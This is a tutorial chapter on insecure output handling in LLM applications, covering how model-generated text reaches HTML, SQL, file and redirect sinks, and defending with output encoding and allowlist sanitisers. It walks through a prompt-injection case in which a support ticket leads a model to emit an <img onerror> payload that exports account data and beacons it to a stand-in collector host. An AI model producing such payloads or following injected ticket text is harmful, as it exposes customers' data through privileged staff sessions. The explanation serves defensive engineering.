Insecure output handling

Insecure output handling — the category that OWASP, the Open Worldwide Application Security Project whose Top 10 lists are the common industry reference for this kind of flaw, files as improper output handling — is what you have when ordinary application code takes text a model produced and hands it to something that will act on that text. The model's answer starts life as inert characters in a variable, and it becomes dangerous only when a later line of your own code places those characters somewhere with authority: into a page a browser will parse, a query a database will execute, a command a shell will run, a filename the operating system will resolve, a URL a browser will navigate to. Each of those destinations is a sink, which is the word used throughout this topic for a place where a string stops being data and starts directing behaviour.

The category exists because the rule it supplements stopped covering the ground. "Validate untrusted input at the edge" was written for systems in which every dangerous string could be traced back to something a person typed at a door you controlled, so guarding the doors guarded the sinks behind them. A model manufactures new strings in the middle of a request, after every door, out of material that includes whatever a stranger wrote, and those strings arrive at sinks the stranger's own text never went near. Insecure output handling is the name for that gap, and the control it asks for sits at the far end, at the sink, chosen for what the sink is going to do with the string.

You meet it wherever a model's words are used rather than merely shown as plain characters — a support console rendering answers as formatted HTML, a reporting agent naming the files it writes, an assistant composing a database filter, a tool-calling agent whose arguments become API calls against real accounts. The vulnerabilities that come out of the far end are old ones with familiar names: cross-site scripting (XSS), in which markup an attacker supplied runs as script inside somebody else's authenticated browser session; SQL injection, in which supplied text becomes part of a query the database executes; path traversal, in which a filename walks out of the directory it was meant to stay in; an open redirect, a URL on your own domain that will forward a visitor to any destination the attacker names. What changed is the route in, because an attacker no longer has to get a hostile string past your front door when a model inside the building will compose one on their behalf.

The string that was not there at scrub time#

Trace the order of events in a support product that runs customer messages through a model. The customer's message arrives, and the edge validator cleans it: tags stripped, length capped, stored. That cleaned message is then assembled into a prompt along with retrieved context and the system instructions, and sent to the model. The model reads all of it and produces an answer — a fresh sequence of tokens that did not exist anywhere in your system a moment earlier. That answer is the string the console renders. It passed through no validator, because your validators run at the edges where data enters, and the model's answer is generated in the middle, after every edge has already been crossed.

It is worth walking that ordering one step at a time, because the conclusion looks like a policy failure and is actually a fact about time. A validator is a function that runs at a point in the program. The point it runs at is where data crosses into the system, which is what "at the edge" means. The model's answer does not cross into the system; it is created inside it, on a line of your own code, after the edge has been passed. A function that ran earlier cannot inspect a value that did not exist when it ran. So the gap is not that somebody forgot to call the validator on the answer — it is that the validator's position in the program makes the answer unreachable to it, and no amount of strengthening the validator changes where it sits.

The phrase "sanitise user input" quietly assumes that input is the only untrusted text in the system, and that assumption held for a decade of web applications because it was true: the strings that reached your dangerous operations were, one way or another, strings a user had typed. A language model breaks the assumption by manufacturing new strings from old ones. A customer's markup is not stored verbatim and replayed; it is described, paraphrased, or reconstructed by a model that read the ticket and produced an answer containing it. Even if your edge sanitiser had caught the customer's literal payload, the model can emit an equivalent one that no edge ever saw, because the model's output is not governed by what your validators did to its inputs.

So model output needs handling of its own, and the argument for that is precise rather than a matter of defence-in-depth zeal. Model output reaches sinks the input never did. It is rendered into a page, interpolated into a query, used as a filename, chosen as a redirect target — destinations the original customer message may never have flowed to. Input sanitising, however thorough, cannot touch a string that is made later, further downstream, from material it already approved. The two are not the same problem wearing different hats. They are different problems, and covering one tells you nothing about the other.

Reproducing the execution in a naive renderer#

Here is the renderer at its most ordinary. A React view takes the assistant's answer and inserts it as HTML so that the model's bold text and links render as formatting rather than showing raw asterisks and angle brackets to the agent.

function AssistantAnswer({ html }: { html: string }) {
  // The answer contains simple markup — <b>, <a>, <p> — that we
  // want rendered, so we inject it directly.
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

The corresponding sink in a plain-DOM console is the same shape:

answerContainer.innerHTML = assistantAnswer;

Both take a string and hand it to the browser's HTML parser with instructions to build live DOM from it. The parser does not distinguish an assistant's <b> from an attacker's <img>; it builds whatever the markup describes. Now consider the answer a model produces after reading an injected ticket. The customer had written, roughly, "please see the note below," followed by content that led the model to include this in its formatted reply:

<img src=x onerror="fetch('/api/accounts?export=all')
  .then(r=>r.text()).then(t=>navigator.sendBeacon('https://collector.example/x',t))">

The step that is usually skipped is how a fragment written by a customer ends up inside a string the model composed, since the model was not asked to reproduce markup. The ticket body is retrieved and placed into the prompt as context, because answering a support question requires reading the ticket. Once it is in the prompt it is a sequence of tokens indistinguishable, to the model, from the system instructions above it and the retrieved notes beside it — there is no field in a prompt that marks a stretch of text as inert. The model is asked to reply in formatted HTML, so producing tags is the expected behaviour rather than an anomaly. A ticket that contains a fragment of markup and a plausible reason to carry it forward — a request to quote the note exactly, a claim that the fragment is the error message the customer is asking about — is asking for something the model has every reason to do. The output filter that would have to catch this is not a filter on the customer's text; it is a filter on the model's, and that is the one nobody has written.

Now take the parse itself one operation at a time, because "it fires the handler" is the assertion this chapter has to earn. The browser's HTML parser reads the string and builds elements from it, so the tag becomes an <img> node in the document. src=x names a resource that does not exist, so the fetch for it fails. A failed image load is a defined event in the DOM, and onerror is an event-handler content attribute: the parser does not store its value as text, it compiles that value into a function and registers it as the element's handler for that event. That compilation is the promotion from data to code, and it happens during parsing, before any of your code runs again. The failed fetch then fires the event, the registered function is invoked, and it executes as script in the document that contains it — which is the console's own document, on the console's own origin. Nothing in that chain is a bug in the browser. Every step is the documented behaviour of an element the string asked the parser to build.

The consequences follow from where that code is running rather than from what it says. The fetch goes to a path on the same origin as the console, so the browser attaches the same session cookie it attaches to every other request the console makes, and the endpoint sees an ordinary authenticated call from a logged-in agent. The image never loads and the agent sees, at most, a broken-image icon inside an otherwise normal answer. Meanwhile the handler has called an internal endpoint that the agent is authorised to call, read the response, and shipped it to an outside collector.

The belief worth interrupting here is that the browser's cross-origin rules contain this. It is a reasonable thing to think: the collector is on somebody else's domain, cross-origin requests are the thing those rules govern, and a reader who has fought CORS errors has watched the browser refuse cross-origin work all week. What those rules actually restrict is the script's ability to read a cross-origin response. Sending is a different operation, and navigator.sendBeacon needs no response at all — it hands the browser a payload and a destination and returns. The exfiltration direction is outbound, and the data it carries was already read from a same-origin endpoint where no cross-origin rule applies. So the defence a reader is counting on is not weakened here; it is aimed at a direction the attack does not travel in.

The exposure here is worth stating plainly, because it is easy to file this under "XSS, we know about that" and miss the size of it. This is not script running in the anonymous customer's own browser, where the ceiling is the customer's own data. It is script execution inside a staff session. The code runs with a support agent's authority over every customer account the console can reach — every record the agent can pull up, every action the agent can take, every internal API the console is trusted to call. An attacker who can get a payload into a ticket, and who knows an agent will eventually open that ticket, has borrowed the agent's reach across the whole customer base for as long as the answer is on screen. The mechanism is a decade-old web vulnerability; the blast radius is new, because the thing that renders the untrusted string is a privileged internal tool rather than a public page.

The control the render context actually needs#

The fix is not a better version of the input sanitiser, and the tempting symmetry — "run the model's output through the same function we run the input through" — is a category error worth naming precisely, because it will come up in every review of this bug. Input sanitisation, in most systems, strips or escapes text for safe storage: it removes tags, neutralises control characters, and produces a value that is safe to keep in a database and pass around. That is a different job from making a string safe to hand to an HTML parser at render time. Reusing the storage-oriented function on output tends to produce text that looks mangled to the agent — links half-escaped, punctuation doubled — and is still unsafe, because it was never designed to enforce the guarantee this sink needs.

What this sink needs is one of two context-appropriate controls. The first is HTML-context output encoding: before the string is placed into the page, every character that has meaning to the HTML parser is converted to its entity form, so < becomes <, > becomes >, & becomes &, and quotes are encoded inside attribute contexts. Encoded that way, the attacker's <img> is displayed as literal text rather than parsed into an element. In React, this is what you already get by rendering {answer} as a text child instead of reaching for dangerouslySetInnerHTML; the framework encodes for you, and the "danger" in the prop name is the whole point.

The reason that substitution works is worth one more step, because "encode it and it is safe" is otherwise a rule to memorise. The parser decides where an element begins by looking for a <; that single character is what moves it out of reading text and into reading a tag. Replace it with < and the parser never makes that transition, so the following characters are never examined as a tag name, an attribute name or an attribute value. onerror is then just eight letters inside a run of text, and no handler is compiled, because compiling a handler only happens while the parser is building an element. The encoding does not detect the attack. It removes the parser's opportunity to treat any of the string as structure, which is why it holds for payloads nobody has seen.

The second control applies when you genuinely need some markup to render — the bold text and links a console wanted in the first place. There you use an allowlist HTML sanitiser, a library whose job is specifically to parse untrusted HTML and emit a safe subset: it permits <b>, <a> with an href it has vetted, <p>, and it drops everything else, including event-handler attributes and <img onerror>. The distinction matters because a formatting requirement is a real requirement, and the answer to it is a render-time sanitiser scoped to an allowlist, not a decision to abandon formatting and not a reuse of the input scrubber.

The two controls give different guarantees, and picking between them is a design decision rather than a security requirement. Encoding guarantees that nothing in the string is parsed as structure, at the price of showing every tag literally. An allowlist sanitiser deliberately gives some of that up: it parses the string into a tree, keeps the nodes on its permitted list, discards the rest, and serialises what is left. Its safety comes from the fact that the output is rebuilt from a list you wrote rather than filtered from a list of things to remove, so a tag or attribute nobody anticipated is dropped by default instead of surviving by default. That is the property to check when someone proposes a sanitiser: whether it enumerates what may stay or what must go. A library that strips a list of known-bad tags is a blocklist wearing a sanitiser's name, and it will pass every test its author thought to write.

One row in that table decides all the others, and it is the second. Every difference below it — the goal, the control, the failure mode — is a consequence of the fact that one column's function never sees the string the other column's function exists to handle. If the answers in that row were both yes, the two columns really would be the same job done twice, and the tempting symmetry would be right. They are not both yes, and the reason is the ordering worked through above rather than a difference of opinion about thoroughness. Read the table downward from that row and it stops being a list of contrasts and becomes one consequence stated four ways.

There is a condition on the first column worth stating, because the table otherwise reads as a verdict on input sanitisers in general. A sanitiser at the edge covers the output sink only when the same function, with the same guarantee, is also invoked at that sink — which is a different call, at a different point in the program, on a different string. The row that says it does nothing for this sink is a statement about where it runs, not about what it is capable of. If your render path already calls a render-time control, the fact that the edge also scrubs is neither here nor there; if it does not, no property of the edge sanitiser supplies one.

One answer, several sinks#

The same customer message can appear at more than one sink, and this is the part that does not fit the innerHTML story. If a model's answer is also used to name an exported file, or embedded in a SQL filter, or chosen as a redirect after the ticket is closed, then HTML encoding does nothing for those places, because they are not parsed by an HTML parser. Each destination has its own grammar and its own rule for what counts as safe, and a control that neutralises markup for a browser leaves a shell or a query completely exposed.

That is why "handle model output" is not a single function you bolt on at one place, and it is also why the fix for one sink can create the impression of coverage that does not exist. A console that renders safely and writes files unsafely will pass a review aimed at XSS and fail the first traversal attempt, and the team will reasonably say they fixed output handling — they fixed one sink's output handling, which is the only kind of fix there is.

Before you can place any of these controls correctly, you need to know where the model's answer actually goes: which call sites treat it as data and which quietly promote it to instruction. In the console above it was one obvious dangerouslySetInnerHTML, easy to point at after the fact, and it was found by an incident rather than by looking.

In a real agent the dangerous call site rarely announces itself, and it is almost never the model call. The next chapter follows a single response from generation to the places it takes effect, and shows that the unsafe assumption lives in the glue between components rather than in the model itself.